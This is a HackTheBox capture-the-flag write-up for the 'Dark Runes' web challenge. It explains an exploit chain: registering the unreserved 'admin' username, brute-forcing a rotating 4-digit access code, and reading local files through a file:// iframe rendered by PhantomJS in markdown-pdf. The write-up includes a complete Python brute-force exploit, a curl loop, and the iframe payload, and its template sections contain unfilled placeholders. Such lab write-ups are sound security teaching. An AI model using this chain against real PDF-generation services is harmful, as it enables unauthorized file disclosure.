Dark Runes
Dark Runes
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: access_code_brute_force, admin_registration_bypass, iframe_file_protocol, phantomjs_file_read, ssrf_via_pdf_generation
Summary
"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260209_hackthebox_dark_runes - Tags: ssrf, lfi, nodejs, express, access-control, brute-force, phantomjs, markdown-pdf, admin-registration, file-protocol, pdf-generation, cookie-auth
- Indicators: markdown-pdf with remarkable html:true, PhantomJS PDF rendering, 4-digit access code (0000-9999), no pre-created admin user, isAdmin checks username === 'admin
- Source:
20260209_hackthebox_dark_runes.md
Foothold
Vulnerability / Misconfiguration
- Access_code_brute_force
- Admin_registration_bypass
- Iframe_file_protocol
- Phantomjs_file_read
- Ssrf_via_pdf_generation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- access_code_brute_force
- admin_registration_bypass
- iframe_file_protocol
- phantomjs_file_read
- ssrf_via_pdf_generation
- Tags: ssrf, lfi, nodejs, express, access-control, brute-force, phantomjs, markdown-pdf, admin-registration, file-protocol, pdf-generation, cookie-auth
Original Writeup
<details><summary>Click to expand original content</summary>Dark Runes — HackTheBox
Description
"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."
Target: http://154.57.164.69:31117
Technology Stack
- Node.js 16.5.0 (Express) — web application
- SQLite — database with
usersanddocumentstables - markdown-pdf v11.0.0 — markdown to PDF conversion via PhantomJS
- sanitize-html — HTML sanitization (only on regular document routes)
- HMAC-like cookie auth — custom cookie generation/validation with random SECRET
- PhantomJS — headless browser used by markdown-pdf for rendering
Architecture
Single Express application with the following route structure:
- Auth routes (
/login,/register) — user registration and login with cookie-based auth - Document routes (
/document/*) — CRUD for markdown documents, content sanitized viasanitize-html - Export routes (
/document/export/:id,/document/debug/export) — PDF generation from markdown/HTML
Key security middleware:
isAuthenticated— validates cookie signature using HMAC with random SECRETisAdmin— checksreq.user.username === "admin"
Access code system:
rotatePass()generates a 4-digit code (0000-9999) viacrypto.randomBytes(2).readUInt16BE() % 10000- Writes the code to a file named with that code
verifyPass()checks the pass; on failure, callsrotatePass()to generate a new code- Only
rotatePass()is called on startup — no admin user is pre-created
Analysis
Vulnerability 1: Missing Admin User — Registration Bypass
The isAdmin middleware checks req.user.username === "admin", but the application never creates an admin user at startup. Only rotatePass() is called in src/index.js. The /register endpoint has no restriction on the username "admin", so anyone can register as admin.
// src/middlewares.js
const isAdmin = (req, res, next) => {
if (req.user.username !== "admin") {
return res.status(403).send("Only admin can access this");
}
next();
};
// src/index.js — startup rotatePass(); // No admin user creation!
Vulnerability 2: Brute-forceable 4-Digit Access Code
The POST /document/debug/export endpoint requires both admin access AND a valid access_pass. The access code is a 4-digit number (0000-9999):
// src/utils/crypto.js
const generateAccessCode = () => {
return crypto.randomBytes(2).readUInt16BE() % 10000;
};
Critical behavior: on each failed verification, rotatePass() generates a new random code. This means each guess has an independent 1/10000 probability of success — the code changes on every wrong attempt, but each attempt is still a fresh 1/10000 lottery ticket.
Expected number of attempts to succeed: ~10000 (but can be much less with parallel requests).
Vulnerability 3: SSRF / LFI via PhantomJS file:// Protocol (CVE-2017-15764)
The POST /document/debug/export endpoint passes user-supplied content directly to generatePDF() without any sanitization. Unlike the regular document creation route which uses sanitize-html, the debug endpoint has no HTML filtering.
// src/routes/generate.js — debug export (NO sanitization)
router.post('/document/debug/export', isAuthenticated, isAdmin, async (req, res) => {
const { content, access_pass } = req.body;
if (!verifyPass(access_pass)) return res.status(403).send("Invalid access pass");
const pdf = await generatePDF(content); // Raw content → PDF
res.send(pdf);
});
The markdown-pdf library (v11.0.0) uses PhantomJS as a headless browser with remarkable: { html: true }, meaning raw HTML is rendered. PhantomJS supports the file:// protocol, allowing local file reads via <iframe> or <img> tags.
Additional Vulnerability: IDOR via Parameter Swap
The GET /document/:id route has a parameter swap bug:
// Swapped parameters: findDocument(userId, docId) but called as findDocument(user.id, id) // This creates an IDOR where document ID and user ID are swapped
This was noted but not needed for the exploit chain.
Exploit Chain
Step 1: Register as "admin"
Since no admin user exists at startup, simply register with username "admin":
# Register curl -X POST "http://TARGET/register" \ -d "username=admin&password=admin123" # Login and capture cookie curl -X POST "http://TARGET/login" \ -d "username=admin&password=admin123" -v # Set-Cookie: user=eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOjF9-7d12eac46ba667cfeae3d39f9ed3275be95d93cf4376fb4b893dd89ca28037b9
Step 2: Brute-force the 4-digit access code with SSRF payload
Since each failed attempt rotates the code, we include the exploit payload in every brute-force request. When we hit the correct code, the PDF with the flag is returned directly — no second request needed.
The SSRF payload uses an iframe to read /flag.txt via the file:// protocol:
<iframe src="file:///flag.txt" width="800" height="600"></iframe>
Step 3: Extract flag from PDF
The returned PDF contains the rendered contents of /flag.txt. Use pdftotext to extract the text.
Solution
#!/usr/bin/env python3
"""
HackTheBox Dark Runes — Admin Registration + Access Code Brute-Force + PhantomJS LFI
Combines brute-force with SSRF payload so correct guess returns flag PDF directly.
"""
import asyncio
import aiohttp
import random
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.69:31117"
COOKIE = None # Will be set after login
# SSRF payload — PhantomJS renders file:// URLs in iframes
PAYLOAD = '<iframe src="file:///flag.txt" width="800" height="600"></iframe>'
async def register_and_login(session):
"""Register as admin and get auth cookie."""
global COOKIE
# Register
await session.post(f"{TARGET}/register", data={
"username": "admin",
"password": "admin123"
})
# Login
resp = await session.post(f"{TARGET}/login", data={
"username": "admin",
"password": "admin123"
}, allow_redirects=False)
COOKIE = resp.cookies.get("user")
if not COOKIE:
# Try from redirect
cookies = session.cookie_jar.filter_cookies(TARGET)
COOKIE = str(cookies.get("user"))
print(f"[+] Logged in as admin, cookie: {COOKIE.value if hasattr(COOKIE, 'value') else COOKIE[:50]}...")
async def try_code(session, code, attempt_num):
"""Try a single access code with the SSRF payload."""
access_pass = f"{code:04d}"
try:
resp = await session.post(
f"{TARGET}/document/debug/export",
data={
"content": PAYLOAD,
"access_pass": access_pass
},
timeout=aiohttp.ClientTimeout(total=30)
)
if resp.status == 200:
data = await resp.read()
if len(data) > 500: # PDF with content (not error)
print(f"\n[!!!] SUCCESS with code {access_pass} on attempt #{attempt_num}")
# Save PDF
with open("flag.pdf", "wb") as f:
f.write(data)
print(f"[+] PDF saved to flag.pdf ({len(data)} bytes)")
print(f"[+] Run: pdftotext flag.pdf - | grep HTB")
return True
if attempt_num % 100 == 0:
print(f"[*] Attempt #{attempt_num}, last code: {access_pass}, status: {resp.status}")
except Exception as e:
if attempt_num % 200 == 0:
print(f"[!] Error on attempt #{attempt_num}: {e}")
return False
async def main():
connector = aiohttp.TCPConnector(limit=10)
jar = aiohttp.CookieJar(unsafe=True)
async with aiohttp.ClientSession(connector=connector, cookie_jar=jar) as session:
await register_and_login(session)
print(f"[*] Starting brute-force of 4-digit access code...")
print(f"[*] Each request includes SSRF payload for /flag.txt")
print(f"[*] Expected: ~10000 attempts (1/10000 per try, code rotates on failure)")
attempt = 0
found = False
while not found:
# Send batch of concurrent requests
tasks = []
for _ in range(10): # 10 concurrent
code = random.randint(0, 9999)
attempt += 1
tasks.append(try_code(session, code, attempt))
results = await asyncio.gather(*tasks)
if any(results):
found = True
break
if not found:
print(f"[-] Failed after {attempt} attempts")
if __name__ == "__main__":
asyncio.run(main())
Alternative: Sequential brute-force with curl
# Register and login
COOKIE=$(curl -s -X POST "http://TARGET/login" \
-d "username=admin&password=admin123" \
-c - | grep user | awk '{print $NF}')
# Brute-force (slow but works)
for i in $(seq 0 9999); do
CODE=$(printf "%04d" $i)
RESP=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "http://TARGET/document/debug/export" \
-b "user=$COOKIE" \
-d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE")
if [ "$RESP" = "200" ]; then
echo "Found code: $CODE"
curl -s -X POST "http://TARGET/document/debug/export" \
-b "user=$COOKIE" \
-d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE" \
-o flag.pdf
pdftotext flag.pdf -
break
fi
done
Payloads That Did NOT Work
| Payload | Why it failed |
|---|---|
<script>require('fs').readFileSync('/flag.txt')</script> | require('fs') is only available in PhantomJS script context, not in the web page sandbox |
<script>document.write(require("fs").read("/flag.txt"))</script> | Same reason — produced empty PDF |
Regular document export (GET /document/export/:id) | Content is sanitized via sanitize-html, strips iframes |
Key Tricks and Observations
-
No admin pre-creation: The most common pattern is to seed an admin user in the database. Here, only
rotatePass()runs at startup, leaving the "admin" username available for registration. Always check if privileged usernames are actually reserved. -
Code rotation on failure is NOT a defense: Even though the access code changes on every wrong guess, each attempt is an independent 1/10000 chance. With parallel requests, the expected time to find the code is manageable (~2000-5000 attempts in practice due to birthday-like effects with concurrent requests).
-
Debug endpoint bypasses sanitization: The regular document creation route uses
sanitize-html, but the debug export endpoint passes content directly togeneratePDF(). Always check ALL endpoints that handle user input, especially "debug" or "test" routes. -
PhantomJS file:// protocol:
markdown-pdfuses PhantomJS which supportsfile://URLs. An<iframe>withsrc="file:///flag.txt"is the most reliable way to read local files — it renders the file content directly into the PDF. -
Combine brute-force with payload: Instead of first finding the code and then sending the exploit, include the exploit payload in every brute-force request. This saves a round-trip and avoids the code rotating between discovery and exploitation.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR